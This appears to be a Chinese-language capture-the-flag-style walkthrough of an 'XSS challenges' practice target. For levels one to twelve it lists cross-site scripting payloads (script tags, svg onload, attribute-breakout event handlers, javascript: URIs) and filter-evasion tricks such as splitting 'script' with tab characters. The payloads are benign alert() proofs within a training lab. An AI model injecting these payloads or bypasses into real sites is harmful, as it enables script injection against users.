第一关

XSS challenges靶机

<script>alert(123)</script>

"><svg onload=alert(123)>

XSS challenges靶机

第二关

XSS challenges靶机

<script>alert(123);</script>

XSS challenges靶机
XSS challenges靶机

"><script>alert(123);</script>

或者

"><svg onload=alert(123)>

XSS challenges靶机

第三关

XSS challenges靶机

;javascript:alert(document.domain);//

XSS challenges靶机
XSS challenges靶机

<script>alert(123);</script>

XSS challenges靶机
XSS challenges靶机

第四关

<script>alert(123);</script>

XSS challenges靶机

<script>alert(123);</script>

XSS challenges靶机
XSS challenges靶机
XSS challenges靶机

"><script>alert(123);</script>

"><svg onload=alert(123)>;

XSS challenges靶机
XSS challenges靶机

第五关

XSS challenges靶机
XSS challenges靶机

"><script>alert(123)</script>

XSS challenges靶机
XSS challenges靶机

第六关

XSS challenges靶机
XSS challenges靶机

<>符号被HTML 特殊字符代替  

" οnclick="alert(123)" 

" onmouseover=alert(123)%0a

XSS challenges靶机
XSS challenges靶机

第七关

"><script>alert(123)</script>

XSS challenges靶机

" onmouseover=alert(123)

XSS challenges靶机

" οnclick="alert(123)" 

XSS challenges靶机
XSS challenges靶机

第八关

XSS challenges靶机

javascript:alert(123)

XSS challenges靶机

第九关

XSS challenges靶机
XSS challenges靶机
XSS challenges靶机
XSS challenges靶机
XSS challenges靶机
XSS challenges靶机
XSS challenges靶机

失败

第10关

"><svg onload=alert(123)>"> 

XSS challenges靶机

" onmouseover=alert(123); x="

XSS challenges靶机
XSS challenges靶机

"><script>alert(123);</script><"

XSS challenges靶机

第十一关

XSS challenges靶机
XSS challenges靶机

script会被替换为xscript 

on事件会被替换为onxxx

style会被替换为stxxx

"><a href="javascript:alert(123);">123</a><"

将script中的某个字符转为unicode编码,或者可以插入&#09;,&#10;,空格等不可见字符对script进行分割,让正则匹配不到

"><a href="javascri%09pt:alert(123);">123</a><" 

XSS challenges靶机
XSS challenges靶机

第十二关

XSS challenges靶机

发现过滤了<>"

``onmouseover=alert(123);

无ie浏览器

相关文章:

  • 2022-01-24
  • 2021-11-23
  • 2021-06-26
  • 2022-12-23
  • 2021-07-27
  • 2021-07-14
猜你喜欢
  • 2021-05-25
  • 2021-10-19
  • 2021-10-01
  • 2022-02-03
  • 2021-05-21
相关资源
相似解决方案